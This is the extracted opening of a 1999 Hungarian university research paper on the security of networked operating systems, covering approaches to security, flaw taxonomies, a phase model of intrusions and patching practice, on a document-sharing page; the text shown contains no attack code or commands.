Informatika | Operációs rendszerek » Bencsáth-Tihanyi - Hálózati Operációs Rendszerek Biztonsága

Alapadatok

Év, oldalszám:1999, 66 oldal

Nyelv:magyar

Letöltések száma:1103

Feltöltve:2015. január 23.

Méret:266 KB

Intézmény:
[BME] Budapesti Műszaki és Gazdaságtudományi Egyetem

Megjegyzés:

Csatolmány:-

Letöltés PDF-ben:Kérlek jelentkezz be!



Értékelések

Nincs még értékelés. Legyél Te az első!

Tartalmi kivonat

Hálózati operációs rendszerek biztonsági kérdéseinek elméleti tárgyalása, az algoritmizálhatóság problematikája TDK dolgozat 1999. október Bencsáth Boldizsár Tihanyi Sándor BME Villamosmérnöki és Informatikai Kar műszaki informatika szak, V. évfolyam Konzulens: dr. Vajda István, BME Hı́radástechnikai Tanszék Üzleti Adatbiztonság Labor Kivonat A hálózati operációs rendszerek biztonsági problémái igen szerteágazóak. Bár rengeteg gyakorlati tapasztalat van ezen a területen, kevés az elméleti eredmény. Munkánkban megismertetni és körvonalazni kı́vánjuk a különböző jellegű biztonsági réseket, problémákat, majd ezek áttekintése után egy kategorizálási lehetőséget mutatunk be. A biztonsági problémákat nemcsak statikus, hanem dinamikus helyzetben is tanulmányozzuk, azaz a biztonsági problémát leı́ró állapotot, konfigurációt és ezek

dinamikus viselkedését vizsgáljuk. Létrejövő modellünk alapja tehát egyrészt a gyakorlat, tapasztalat, másrészt az ismert biztonsági modellek és vizsgálati irányzatok. A dolgozat keretében áttekintő, összefoglaló jelleggel rávilágı́tunk a védekezés lehetőségeire. Megmutatjuk, hogy a biztonsági problémákkal kapcsolatos felmerülő feladatok kevéssé algoritmizálhatóak, gyakorta intuitı́v módszerekre hagyatkoznak. Ezeket a módszereket saját készı́tésű élő példákkal illusztráljuk. Bemutatunk egy web alapú biztonsági rést és annak egyszerű kiaknázását Hasonló gond több nagy magyar Internet-szolgáltató rendszerén is megfigyelhető Másik példánkban egy ,,csapda-számı́tógép” létrehozását és biztonsági szempontjait, környezetét mutatjuk meg. A csapda célja bemutatni, hogyan lehet felhasználni a biztonsági problémák dinamikus

viselkedésénél, számı́tógépes betörésnél használt módszereket a biztonság növelése és ellenőrzése céljából. A rendszerünk alapvető célja a potenciális behatoló megismerése és a veszélyeztetett rendszerek szűrése A kutatásaink eredményeképpen létrejött pályamű alapját adhatja további vizsgálatoknak, hasznos lehet a téma iránt érdeklődőknek új módszerek megismeréséhez, látókörük bővı́téséhez. Tartalomjegyzék Bevezetés 3 1 Számı́tógépes problémák csoportosı́thatósága 4 1.1 Elméleti és gyakorlati eredmények . 4 1.2 Biztonsági problémák megközelı́tésmódjai . 7 1.3 A megközelı́tési formák gyakorlati példákban . 8 1.4 Biztonsági problémák osztályozása . 9 1.41 1.5 Javaslatok . 12 A védekezés módszerei .

14 1.51 Programhibák elleni védekezés . 14 1.52 Firewall-ok . 16 1.53 IDS rendszerek . 16 1.54 Audit rendszerek . 17 1.55 Egyéb lehetőségek . 18 2 A csapdaszámı́tógép 2.1 2.2 Élő betörési példa 20 . 20 2.11 A betörő . 20 2.12 Az IRC segı́tsége . 21 2.13 Újabb adatok a betörőről! . 21 2.14 A csapda felállı́tása . 22 A csapdaszámı́tógép összeállı́tása . 23 2.21 A csapda konkrét felépı́tése . 24 2.22 Naplózás beállı́tása . 25 1 2.23 A távoli naplózás új módszerei . 27 2.24 A forgalom figyelése . 28 2.25 Sniffit . 28 2.26 Az SSH

naplózása . 29 2.27 További teendők; a betörő csalogatása . 31 2.3 Összegzés a csapdaszámı́tógépről . 33 2.4 A csapda jövője . 33 3 Egy egyszerű Web-es biztonsági probléma 3.1 3.2 35 A jelszavakról . 35 3.11 Konkrét jelszó-gyűjtemények vizsgálata . 35 3.12 Vizsgálat az Internet Worm adatbázis alapján . 37 3.13 Jelszavak frissessége . 37 Web-alapú támadási lehetőségek . 38 3.21 Egy lehetséges támadás . 38 3.22 Eredmények . 39 3.23 A probléma kiküszöbölése . 39 Összegzés 41 A Rövidı́tések, magyarázatok 45 B Programkódok 50 B.1 Az /etc-ben lévő fájlok átı́rása a SSH naplózásához a ,,firewall” gépen 50 B.2

ipchainsinit script a ,,firewall” szűrőfunkcióinak bekapcsolásához 50 B.3 Az SSH kliens és szerver program átı́rása unified diff formában 51 B.4 PERL program a jelszófájl-módosulások vizsgálatához 61 B.5 PERL program a CGI alapú Web-es probléma támadására 61 C Néhány tipikus naplófájl 63 C.1 A Telnet bejelentkezések naplófájlja 63 C.2 Egy lehallgatott SSH kapcsolat felhasználó felé irányuló adatfolyama 63 C.3 Egy lehallgatott SSH kapcsolat felhasználó felőli adatfolyama 64 2 Bevezetés A számı́tógépes biztonság tudománya egy interdiszciplinális tudományág. Interdiszciplinális, mert nem önálló tudományág, valamint több más tudományágból használ fel eredményeket. A számı́tógépes biztonságtechnika voltaképpen egy gyakorlatias keveréke más tudományoknak: kriptográfia (és matematika,

mint háttere), számı́tástudomány, bonyolultságemlélet, algoritmuselmélet, de menedzsment, marketing és pszichológia is egyben. Az utóbbi három dolog valójában nem triviálisan kötdik a biztonságtechnikához, de mint később látni fogjuk, ez is szerves része a problémának. Ezzel kezdődhetne egy tankönyv, melyet a számı́tógépes biztonságról, esetleg szűkebben, az általunk vizsgált értelemben a hálózatba kötött, hálózati operációs rendszerrel ellátott számı́tógép biztonságáról szólna. Egyelőre ennek a területnek a szervezett, kötelező avagy mély oktatása még nincs megszervezve egyetemünkön, márpedig erre szükség van. A számı́tógépes biztonság régóta ismert fogalom. Már a kezdeti időkben kiderült: a számı́tógép, a technika fegyver. Hosszan taglalhatnánk még, miért fontos az, hogy egy hálózatba kötött számı́tógépen

tárolt adatok biztonságban legyenek, és hogy ez a tudományág milyen fontos. Úgy gondoljuk ezzel már mindenki tisztában van. Azonban még a téma legjobb ismeri is tévedhetnek, még az is használhat nem megfelelen biztonságos jelszót, aki pontosan tudja mennyire fontos a jelszavak kezelése, karbantartása. Tanulmányunkban több apró területtel kı́vánunk foglalkozni, több szempontból kı́vánjuk bemutatni, mennyire fontos a téma alaposabb ismerete és a részletesebb kutatás. Arra kı́vánunk rávilágı́tani, hogy elengedhetetlen lesz a mainál lényegesen több figyelem fordı́tása erre a területre. Írásunkban nem részletezünk minden háttéranyagot, és ismeretforrást. Bı́zunk benne, hogy az olvasó tisztában van a ma használt számı́tógéprendszerek alapfogalmaival, ismeri a TCP/IP hálózatot, az alapvető UNIX parancsokat. Amennyiben ennek ellenére nem igazodna ki leı́rásunkban,

kérjük személyesen keressen meg, szı́vesen segı́tünk, Bencsáth Boldizsár, Tihanyi Sándor 3 Fejezet 1 Számı́tógépes problémák csoportosı́thatósága 1.1 Elméleti és gyakorlati eredmények Az operációs rendszerek biztonsági problémái kapcsán számos elméleti és gyakorlati eredmény van. A ,,guru” tudják, hogyan lehet biztonságosnak ı́télhető rendszert létrehozni, és ezt jól karban is tartják. A ,,hackerek” folyamatos tevékenységük által egyre összetettebb képet adnak és egyre több hiba kijavı́tását teszik lehetővé. A ,,tudományág szakértői” kezében vannak az elméleti eredmények. Akkor tehát minden szép és jó? Nem, számos probléma van. Itt most azt emelném ki, hogy az elméleti és a gyakorlati élet erősen elválik. Az elméleti eredmények (Common Criteria ([1] és [2]), TCSEC ([15]), ITSEC [10] . ) alkalmazhatóak egy olyan

széttdarabolt, tagolt környezetben, mint az internet. Egy-egy bank megengedhet magának milliókba kerül biztonságos fejlesztéseket, azonban a mai internetes nagyvállalkozások többségének alapja egy garázscég, ahol pár fiatal ócskavasból összerakott számı́tógépről kezdte meg a világ meghódı́tását. Ha pedig az elméleti eredmények széleskörben nem, vagy csak részben vannak felhasználva, az igen sok probléma forrása. Természetesen ezeket a problémákat az emlı́tett barkácsoló fiatalok maguktól kijavı́tják, vagy legalább kezelik. Ugyanakkor ez a nagyfokú kreatı́v tapasztalat nem tud átmenni az elméleti életbe, ha nincs megfelelő támogatottsága. Ez a széttagoltság jelent ma igen nagy problémát a témában. Az is probléma, hogy nincsenek olyan biztos alapon álló eredmények, melyekre egyértelmen lehet épı́teni. Senki nem tudja bebizonyı́tani a ne4

gyedszázados titkosı́tási eljárásokról (RSA, Diffie-Hellman, IDEA, . ), hogy nem, vagy csak igen nehezen feltörhetek. Úgy hisszük, hogy nem, vagy csak nehezen lehet feltörni ezeket, de például már csak az elosztott rendszerek segı́tségével is sikerült ledönteni a falak egy részét. ábra 1.1: A host-ok száma és a biztonsági problémák növekedése a CERT kimutatása alapján A legegyszerűbb rutinról is bebizonyosodhat tehát, hogy egy adott rendszerben, adott környezetben nem felel meg az elvárásoknak. Így ha biztonsági problémákat vizsgálunk, mindig egy rendszert, egy teljes környezetet kell vizsgálni. A számı́tógépes problémák csoportosı́thatósága nem egyszerű feladat. Már az sem egyszerű feladat, hogy valamiről megállapı́tsuk: biztonsági hiba, probléma-e avagy nem. Vegyünk egy egyszerű példát: Az egyik számı́tógépünk egy lokális hálózaton

figyeli a gyanús hálózati forgalmat és ezeket rögzı́ti. Ez magában rejt egy gondot, támadási lehetőséget: Ha a valamely felhasználó tudja, mikor generál hamis pozitı́vokat a hálózatfigyel program, azaz tud olyan valós, de gyanúsnak vélhet forgalmat generálni, amit a rendszer naplóz, ugyanakkor indokolni is tudja a forgalom szükségességét, akkor bizony a megfigyelő számı́tógép véges háttértára hamar betelhet. 5 ábra 1.2: Internet host-ok számának növekedése, hosszabb távú trend Miután pedig megtelt a háttértár, az okos támadó már mindenféle naplóbejegyzés létrejövetele nélkül törhet be egy megcélzott számı́tógépre. Mindenki láthatja: biztonsági probléma van, a naplózás miatt magasabbnak hitt biztonsági szintet nem érjük el. A probléma oka, hogy a számı́tógépek nem végtelen tárral rendelkeznek, mint egy Turing gép, és ez

pontosan elegendő, hogy az elméleti világ régi módszerei ne lehessenek alkalmazhatóak egy gyakorlati szituációban. Mint látható, ha pontosan ismerjük egy program vagy egy egész rendszer minden komponensének működését, akkor sem lehet algoritmikusan eldönteni valamiről, hogy biztonsági gondot jelent-e. A rendszert nem tudjuk csak statikusan vizsgálni, azaz nem lehet, vagy nem célszerű a rendszert csak egy adott állapotában vizsgálni, hogy problémás-e ez az állapot. Sokkal célszerbb egy rendszert dinamikusan, folyamatként vizsgálni. 6 1.2 Biztonsági problémák megközelı́tésmódjai BIZTONSÁG MÉRNÖKI MENEDZSERI PSZICHOLÓGIAI ábra 1.3: Megközelı́tésmódok Ha tovább boncolgatjuk a problémát, akkor a következőket figyelhetjük meg. A számı́tógépes biztonsági kérdéseket általában három szemszögből szokás megközelı́teni (1.3 ábra): • Az első,

általános, legegzaktabb megközelı́tési mód a mérnöki megközelı́tés: A mérnöki precı́z, tudományos megközelı́tés a hibamentes rendszert veszi alapul. Célja 100%-ig biztonságos rendszer kidolgozása, és úgy gondolja, elérhető ez a cél. A hibalehetségeket egy új elvű mködéssel megpróbálja meg elkerülni (páldául protected mód, felhasználói azonosı́tás), vagy a fellépő hibákat javı́tani, a hibalehetségektől a rendszert védeni. Mindenképpen biztonságossá kı́vánja tenni a rendszert, ez az egyedüli elfogadható cél. • A második megközelı́tési forma egy menedzseri megközelı́tés: A cél költséghatékony, működképes biztonságpolitika megteremtése. Nem fontos a biztonság, ha az pénzbe kerül, illetve nem érdemes rá addig költeni, amı́g nem muszáj. A megelőzésnél fontosabb lehet az utólagos védekezés (holott ez valójában sokkal

nagyobb kárt jelent). A menedzseri megközelı́tés szempontjából nem kell 100%-os biztonságra törekedni, de az esetleges károkat minimalizálni kell. Olyan rendszert kı́ván felépı́teni, ami ha össze is omlik, hamar helyreállı́tható. • A harmadik megközelı́tés a pszichológiai megközelı́tés: A pszichológiai szemmel alkotott biztonságpolitika a támadókra és a támadások hátterére épı́t. Ki tör be egy rendszerbe? Miért tör be a rendszerbe? Információt akar ellopni? Hogy és hol tároljuk az információt, hogy ne akarja ellopni? Haragban áll valakivel, és csak ı́gy tudja levezetni? Hogy lehet kikerülni azt, hogy támadjon? Természetesen létezhet sok egyéb megközelı́tés (például a lusta megközelı́tés, amikor a fő elv hogy semmit ne csináljunk), azonban véleményünk szerint a fenti kategorizálás igen célszerű, és használhatóan csoportosı́tja a kezelési

módokat. 7 1.3 A megközelı́tési formák gyakorlati példákban A fenti szemléletmódokra adunk pár példát: • A mérnöki, precı́z biztonságpolitikát bankoknál, államhivatalokban figyelhetjük meg. Itt elősdleges szempont a teljes biztonság Természetesen ez nem érhető el, de igény van rá. A nem elérhető száz százalékos biztonság el nem fogadása viszont súlyos ellentmondásával problémákat hordoz magában: – Szervezeti, strukturális bizonytalanság, konfliktusforrás. – Gazdaságilag nem igazán hatékony. – Koncentrációs problémák. A cél a 100%, ezért nem tud a legfontosabb problémára koncentrálni, és ı́gy súlyos gondok léphetnek fel. – Széttagoltság. Az előbbiből következik Ez a megközelı́tési mód az elméleti élet megközelı́tési módja. • A menedzseri megközelı́tés a gyakorlatban elforduló leggyakoribb elv: a legtöbb vállalat

kezdetben nem rendelkezik biztonságpolitikával, és csak az első problémák után hozza létre. Csak olyan megoldásokat fogad el (még ha szabályban többet rögzı́t is), amely hatékonyan megoldható, és amelyeket az emberek képesek átlátni. Ez a megközelı́tési mód a gyakorlati élet megközelı́tési módja. • A pszichológiai szempontot azok használják, akik humán irányból közelı́tik meg a témát. Ugyan a pszichológiai szempont úgy tűnik önállóan semmilyen megoldást nem hozhat, mégis úgy érezzük, alkalmas ez a szempont a harmadik tagolási elv létrehozására Álljon itt egy kis legenda (forrását nem ismerjük, szájhagyomány útján terjedt): Az USA egyik számı́tógépét gyakorta feltörték és lefagyasztották. Ezen a számı́tógépen egyszerre több tizen dolgoztak, ı́gy sok ember életét keserı́tette meg a dolog A számı́tógép védelmének

erősı́tése helyett ezután a következőt tették: kiraktak egy papı́rt: ,,Ha beı́rod, hogy stop, az egész számı́tógép leáll és senki nem fog tudni dolgozni. Kérlek hagyd dolgozni az embereket!” Mindenkinek lehetősége volt tehát a rendszert kikapcsolni, nem volt szükség trükkös feltörésre. Megszűnt a varázs és a vonzerő. Ezután jóval kevesebbszer volt gond a gép rosszindulatú leállásával 8 Ezt a mentalitást tehát általában egy társadalomtudós választhatná. A fent vázolt megoldások, mentalitások tisztán igen ritkán jelentkeznek. Mindenki megpróbálja a lehető legjobb módszert, módszereket kiválasztani. Nagyon ritkán lát az ember azonban olyan átgondolt biztonságpolitikát, amelyik minden feltételt teljesı́t. Ez nemcsak teljes informatikai rendszerek védelmére vonatkozik, hanem igaz kisebb egységekre is. A firewall -ok, a UNIX és más eszközök

többsége például az all or nothing, mindent vagy semmit elvre épı́t, azaz amı́g nem törnek be egy ilyen rendszerbe, addig teljes a biztonság; betörés, rendszergazdai jogosultságok birtokában viszont már mindenre van lehetőség. Vannak különbségek a rendszerek között ebben a tekintetben is, a biztonsági kérdések esetenként finomı́thatóak is, pl. UNIX alatt a sudo program segı́tségével. Ekkor egyes privilegizált felhasználóknak módjuk van rendszergazdai jogosultságokkal bizonyos parancsokat kiadni Így ezen jogosultságok megszerzése nem az egész rendszert tenné lyukassá, csak bizonyos programokat. Ennek ellenére még igaz: a korlátlan rendszergazdai jogok gyakran megszerezhetőek, azaz a rendszer feltörhető, és ı́gy a teljes rendszer biztonsága megsemmisül. Egy átgondolt rendszerben a jogosultságok jól körülhatároltan jönnek létre, létezik biztonsági politika, a rendszer

nehezen feltörhető, ugyanakkor a szükséges feladatok elvégzése nem nehézkes. Ha egy ilyen rendszert mégis feltörnek, akkor a helyreállı́tás szinte azonnal megtehető: van mentés, de ellenőrizhető a rendszer integritása is, sőt, arra automatikus figyelmeztetések is késztetnek. Emellett egy ilyen rendszer olcsó és hatékony is Ez a mi elképzelésünk egy biztonságos rendszerről, de sajnos a gyakorlati életben ez gyakran nem működik. A különböző szemléletmódok léte csak a probléma egyik forrása. Hasonló gondot jelent az is, hogy korlátozott az emberi erőforrás és a költségvetés ilyen célokra. Óriási problémát jelent az, ha egy rendszergazda a biztonság érdekében túl szigorú rendszabályokat hoz meg. Ha ugyanis túl sok felhasználót korlátoz a napi munkában, viszont a szükséges segı́tséget nem, vagy csak ritkán, lassan adja meg, akkor a felhasználók

rákényszerülnek a rendszer feltörésére. (Ilyenkor egyes tapasztalt, hozzáértő felhasználók úgy érzik, kénytelenek ők megtenni azt, amit a rendszergazda belátható időn belül nem tesz meg, de természetesen erre csak a gép feltörése esetén van módjuk. Ekkor viszont a rendszer integritása sérül és ez újabb gondokat okozhat.) 1.4 Biztonsági problémák osztályozása A biztonsági problémákat mindenki osztályozza valahogyan. Ez a csoportosı́tás, osztályozás azonban intuitı́ven történik, és csak ritkán látunk 9 megalapozott módszert. Egy csoportosı́tást akkor tekinthetünk jónak, ha biztosı́tja a funkcionális elkülönülést, megfelelő méretű halmazokat alkot (sem túl nagy cellák, sem túl kicsi), tiszta elvekre épül, az egyes elemek viszonylag egyszerűen és egyértelműen besorolhatóak a megfelelő csoportba. Egy jó csoportosı́tás esetén a

kategóriakialakı́tás elve és az elnevezési módszer is egységes. A kategóriák, alkategóriák számának is akkorának kell lennie, hogy az átlátható, használható struktúrát hozzon létre. A kategorizálás egyik célja az információk elkülönı́tett gyűjtésének lehetővé tétele Célja, hogy a kategória emlı́tésével egy olvasó olyan általános információkhoz jusson, melyből sok közös információra, tulajdonságra tud következtetni. A csoportosı́tás biztonsági témákban a feladat nehéz a következők miatt: számos probléma van, igen széles a biztonsági problémák területe. Egyes témakörökben igen sok gond merül fel, sok eset kapcsolódik hozzá, mı́g más témák esetén csak egy-egy gond jelentkezik. Egy probléma gyakorta több témakört is átfog. Egy probléma besorolásakor is több gond merül fel, mivel a problémát elméleti sı́kon,

de gyakorlati helyzetben (adott konfigurációban, adott programnál, adott operációs rendszerben, adott számı́tógép-architektúrában) is vizsgálni lehet. Például egy biztonsági probléma a kernelben, amikor egy futtatható fájl stackje sérülhet, és ezáltal rendszergazdai jogosultságok válnak elérhetővé rengeteg módon csoportosı́tható. Nézzük meg, milyen csoportosı́tási lehetőségeket találunk az irodalomban. A biztonsági kérdések átfogó csoportosı́tására [22] és [21]-ben láthatunk példát. A biztonsági lyukak keletkezési okai: • Szándékos – Rosszindulatú ∗ Trójai faló · Nem terjed · Terjed (vı́rus) ∗ Kiskapu (trapdoor) ∗ Logikai/idő bomba – Nem rosszindulatú ∗ Rejtett csatorna (covert channel) · Tárolás · Időzı́tés ∗ Egyéb 10 • Véletlen – Validációs hiba (Nem teljes vagy inkonzisztens) – Domain hiba – Sorrendi hiba

(ellenőrzés és felhasználás ideje eltér) – Azonosı́tás/hitelesı́tés nem megfelelő – Határérték feltételek megsértése – Egyéb logikai hiba A csoportosı́tás problémái a következőek: Túl kevés csoport van, ı́gy további alcsoportokat kellene képezni; egyes csoportokba igen kevés hiba tartozhat (pl. sorrendi hiba), mı́g más csoportok túl átfogóak (határérték-feltételek megsértése, egyéb logikai hiba) Ez utóbbi kategóriákba belesorolható olyan hiba is, amit már más csoportba is besoroltunk, illetve nem ad módot arra, hogy kellőképpen különválasszuk a hibákat, valamint a csoportosı́tással jellemző információt adjuk azokról. Ez a csoportosı́tás egyszerű és tömör vázlata miatt azonban jobban használható, mint más csoportosı́tások. Nagyon sok könyv, mint a William R Cheswick - Steven M Bellovin: Firewalls and Internet Security c munkája [4]

részletesen tárgyal biztonsági problémákat (itt főleg hálózati operációs rendszerek hibáiról van szó, nem a hitelesı́tés, kódolás kérdéseiről, de természetesen a téma igen széles körű). A részletes tárgyalás ellenére nincsen megfelelő csoportosı́tás. A 9. fejezetben tárgyalt támadási módok például a következők: • Steeling passwords, • Social Engineering, • Bugs and Backdoors, • Authentication Failures, • Protocol Failures, • Information Leakage, • Denial of service A Social Engineering csoport besorolása fontos bővı́tés a [22] szerinti csoportosı́thatósághoz képest. A utóbb emlı́tett munkában ugyanis nincsen beépı́tve a biztonsági lyukak keletkezési módjaiba az emberi hibatényező, csak implicit módon. És noha a biztonsági módszerek tervezésekor az emberi hibatényező mindig beleértendő a problémákba, addig mindig adódik olyan 11

hibalehetőség, ami kizárólag emberi tényezőtől függ. (Erre egy példa, ha a rendszergazda telefonos megkeresésre hajlandó kicserélni bárki jelszavát, vagy valaki személyes kérésére csinál új felhasználói azonosı́tót, pedig ezt a kérést nem kellett volna teljesı́tenie.) Az emlı́tett könyvben a biztonsági problémák csoportosı́tása egy fejezetsorrendet követ: Ahogy az iró/szerkesztő a könyvet szerkeszti, úgy csoportosı́tják a hibákat. Hasonló a helyzet az interneten több helyen: Ha valaki biztonsági problémákkal foglalkozó weblapot hoz létre, akkor valamilyen nem igazán megalapozott, egyszerű módszerrel próbálja a hibákat kategorizálni. Ezekben az esetekben általában egyenletesebb csoportosı́tás történik, egyegy kategóriába hasonló számú eset kerül. Az elméleti megalapozottság és az egységes kategóriakialakı́tás viszont hiányzik ebben az

esetben. 1.41 Javaslatok A csoportosı́tás kidolgozása komoly feladat, mi sem vállalkozunk ebben a munkában a teljes csoportosı́tás kidolgozására. Szeretnénk viszont bemutatni pár apróbb dolgot, amit célszerű lenne a csoportosı́tás során alkalmazni A csoportosı́tási módszerek a hibákat, problémákat többnyire egy-egy tulajdonság megragadásával statikus helyzetben kı́vánták megfigyelni. Fontosabb azonban maga a folyamat, ahogy egy rendszer integritása sérül Adjunk meg erre egy példát: • Információt gyűjtenek a célgépről. (finger, web, portscan-elés, kódolatlan, gyengén kódolt adatok megfigyelése, más rendszerek jelszavainak vizsgálata) • Távolról elérhető hibákat próbálnak ki. (CGI hibák, sendmail hibák, gyenge jelszavak, egyszerű felhasználói azonosı́tók stb.) • A firewall, IDS rendszer átengedi próbálkozásaik egy részét. • Valamelyik

támadás sikeres, ı́gy shell eléréshez jutnak. (Ez már UNIX specifikus lehet.) • A szerzett shell segı́tségével felderı́tik, mi van a számı́tógépre installálva. • A felhasznált információ alapján támadást kı́sérelnek meg, adminisztrátori jogok megszerzése céljából. • Valamely hiba kihasználásával adminisztrátori jogokhoz jutnak. (Sikeres támadás, például buffer overflow, hibás symlink ek, race condition, gyenge jelszó, rossz CGI, stb.) 12 • A firewall, IDS rendszer nem jelez, a felhasználó kizárása nem történik meg. • Az előző három pont valamelyikétől kezdve támadást indı́thatnak a rendszer más számı́tógépe ellen. (Átlépési lehetőség más gépre (rsh, ssh, stb), lehallgatás (X window, telnet, stb), gyenge kódok, kódolatlan folyamok megfigyelése, firewall -on át nem elérhető gépek támadása.) • A támadók a rendszer összes

számı́tógépén adminisztrátori jogokat szereznek, ı́gy a rendszer teljesen feltörtnek nyilvánı́tható. A fenti folyamat, noha még ı́gy is sok egyéb lehetőséget tartalmaz, módot ad egy olyan kategorizálásra, amelynek viszonylag egyszerű és egyértelmű elvi megalapozottsága van. A gyakorlati életben is könnyen használható, információt nyújt a problémákról A besorolás hierarchikus, bővı́thető Többszintű kifejtést tesz lehetővé, az egyes lépések alatt további alszinteket, alternatı́v lehetőségeket hagy A besorolás problémája, hogy egyes támadások továbbra is több helyre besorolhatóak, mı́g más támadások egy ilyen egyszerű folyamatból kimaradnak. Mindenesetre célszerűnek látszik egy ilyen, a támadás fázisokra bontásával létrehozott felosztás készı́tése. (Mint tudjuk, a káosz alapja az egyszerű inverzió – az algoritmuselméletben és

más matematikai területeken is hatékonyan alkalmazható a problémafelbontás módszere, véleményünk szerint itt is ez az egyetlen járható út.) A fenti folyamatot a mellékelt folyamatábrával mutatjuk be. Természetesen a folyamatábra helyett elképzelhető, hogy más hasonló elvű megoldások is jól alkalmazhatóak. A folyamatot át lehet alakı́tani esetleg Petri hálóra, vagy a hittérı́tő-kannibál probléma módjára mátrixos formába is lehet alakı́tani. Ebben az esetben a mátrix minden sora megfelelhet a rendszer egy állapotának (a teljes integritástól – az abszolút feltörésig). Az állapotok közötti átmeneteket egy-egy bizonsági résnek feleltethetjük meg (Természetesen ezek több úton létrejöhetnek, több gond is okozhat azonos konfigurációátmenetet.) A mátrix (i,j) eleme pedig vagy 0 vagy 1 annak megfelelően, hogy az i. konfiguráció esetén j konfigurációba

való átmenet létezik-e Az átmeneti mátrix felı́rásával arra van mód, hogy megállapı́tsuk, elérhetőeke a konfiguráció bizonyos állapotai. Ez a folyamatábrás megoldásban természetesen sokkal triviálisabbnak látszó feladat, ez a módszer azonban komplexebb problémákat tud megoldani: egy viszonylag nagy rendszerből, összetett, átláthatatlan problémák esetén is létre lehet hozni egy megfelelő mátrixot, es a mátrix hatványozása által egyértelműen megadhatóak az elérhető konfigurációk. Ha tehát bonyolult rendszerről van szó, akkor egyszerű, viszonylag gyorsan végrehajtható mátrixműveletekkel automatizáltan juthatunk eredményekre. 13 A mátrixos felı́rást az nehezı́theti meg, ha egy-egy hibának speciális konfiguráció az előfeltétele. Ilyen esetekben az adott speciális konfigurációt is fel kell venni a konfigurációk közé. Ilyen módon a mátrix

igen nagy méreteket érhet el. A folyamatábrás, esetleg Petri-hálós felı́rás előnye a könnyű vizualizálhatóság, segı́tségével a feltörés folyamatának elvi modelljét lehet könnyen vizuálisan bemutatni. A fent emlı́tett módszereket, hasonló vizsgálati megközelı́téseket az általunk fellelt szakirodalomban nem nagyon találtunk. A legtöbb eredmény vagy gyakorlati sı́kon született, ahol az ilyen megközelı́tések, mint a fenti modellek, nem szükségesek, vagy – egyelőre – túl bonyolultnak tűnnek. Az elméleti eredmények pedig sokkal inkább algoritmikus és kriptográfiai problémákra koncentrálnak. Szeretnénk tehát felkelteni a figyelmet, hogy a témában igen szerteágazó kutatási lehetőségek vannak. (Természetesen elképzelhető, hogy egy-egy vonalon mi magunk is további kutatásokat fogunk eszközölni) 1.5 A védekezés módszerei A hálózati operációs

rendszerrel rendelkező számı́tógépen történő védekezésnek számos területe van. Ezek egy részét részletesen megtalálhatjuk például [20]ban [6]-ban Fontosnak tartjuk azonban pár fogalom tisztázását jelen munkában is. Az első és legfontosabb biztonsági pont egy számı́tógépes rendszerben a konfiguráció megfelelő beállı́tása. Ebbe tartozik a jogosultságok megfelelő kiosztása, megfelelően biztonságos jelszavak használata (később még foglalkozunk a témával), az információk megfelelő tárolása stb. Ezeket most nem részletezzük bővebben. 1.51 Programhibák elleni védekezés Az Internetes betörések többsége ma egy adott programban felfedezett hiba kihasználását jelenti. Ezek a hibák nyilvánosságra kerülnek és rövidesen megjelenik valaki, aki ennek a hibának a kiaknázására programot készı́t. Az elkészı́tett ,,exploit”, a hibát

kihasználó programocska az Internet sebességének köszönhetően fél nap alatt közismertté válik (pl a BugTraq levelezési lista segı́tségével) Ezután bárki ki tudja használni ezt a biztonsági problémát, aki megszerzi ezt a programot, és minimálisan ért a számı́tógépekhez. Emiatt különösen nagy a veszély: A feltörést megkı́sérlő 14 személy nem biztos, hogy ért az adott operációs rendszerhez, ı́gy akár véletlenül is adatvesztést, rendszerösszeomlást tud előidézni. A programhibák elleni védekezés a hiba napvilágra kerülése előtt igen nehéz. Miután viszont kiderült a programhiba, napokra rá meg szokott jelenni a hiba javı́tása is Ekkor pedig a megoldás igen egyszerű: a lehető leghamarabb frissı́teni kell A legtöbb nagy UNIX rendszer, és az ingyenes Linux operációs rendszerek is naprakész biztonsági frissı́téseket tartalmaznak, és akár

5-10 perc alatt rendbe lehet tenni. Rengeteg rendszergazda ennek ellenére, főleg túlterheltség miatt, és mert túl sok feladatköre van, elfelejtkezik a frissı́tésekről. Ekkor a rendszer akár több hónapig is úgy működhet, hogy biztonsági hiba van a rendszerben. (Élő példaként az egyik nagyobb magyar Internet-szolgáltató központi gépe szeptember elején is feltörhető volt egy májusban napvilágra került hiba következtében, ezt csak figyelmeztetésünk után javı́tották, addig több ezer felhasználó potenciális célpontja lehetett a hiba.) A rendszeres frissı́tés problémája azért egyre nagyobb gond, mert ma már a szerverek, illetve az annak számı́tó számı́tógépek úgy elterjedtek, hogy egy rendszergazdának több, (akár több 10!) ilyen gépen kell a frissı́téseket elvégezni, mı́g egy egyszerű felhasználó esetleg gépéhez is alig ért, és ı́gy kellene a

rendszer frissességét és biztonságosságát megőrizni. Ez a gond Windows NT környezetben fokozódik azzal, hogy a hibajavı́tások csak több héttel a hiba kiderülése után jelennek meg. Ezen túlmenően a Microsoft által publikált hibák kezelése viszonylag átláthatatlan, a javı́tások letöltése nehézkes lehet, és ha mindez még gyorsan sikerülne is, akkor is majdnem minden esetben a rendszer újraindı́tását követeli meg egy ilyen hiba javı́tása, még ha arra gyakorlatilag nem is lenne szükség. (Megnézhetjük viszont a Sun hibajavı́tásait - még a kernelpatch 1 esetén sincs szükség a gép újraindı́tására, ı́gy a különösen fontos helyeken is egyszerű a frissı́tés.) A Microsoft esetében a javı́tott hibák, a rendszerfájlok pontos állapota, a rendszerkomponensek verziója igen nehezen követhető, ráadásul nem ritkán kompatibilitási problémák is felvetődnek

(például a Service Pack 5 és egyes programrendszerek esetében) Nem állı́tjuk, hogy lehetetlen ezen problémák következetes és hozzáértő kezelése, viszont az eredmény egy viszonylag átláthatatlan rendszer, ami a tökéletes biztonság érdekében igen gyakori frissı́tést igényelne. Mégis: a Windows NT rendszergazdák többsége abszolút nincs tisztában a rendszer biztonsági állapotával. A Microsoft a következő években mindenképpen rá fog kényszerülni a rendszerkomponensek verziókarbantartásának felülvizsgálatára az egyszerűbb kezelés és javı́tás érdekében. Az új módszerek megjelenése nemcsak a Microsoft esetében valószı́nűsı́thető, a [14] dokumentumban felvázolt jövőkép szerint például az elkövetkező 10 évben az önjavı́tó, adaptı́v renszerek létrejöttére 1 A rendszer magját érintő hibajavı́tás 15 kell számı́tani ezen a

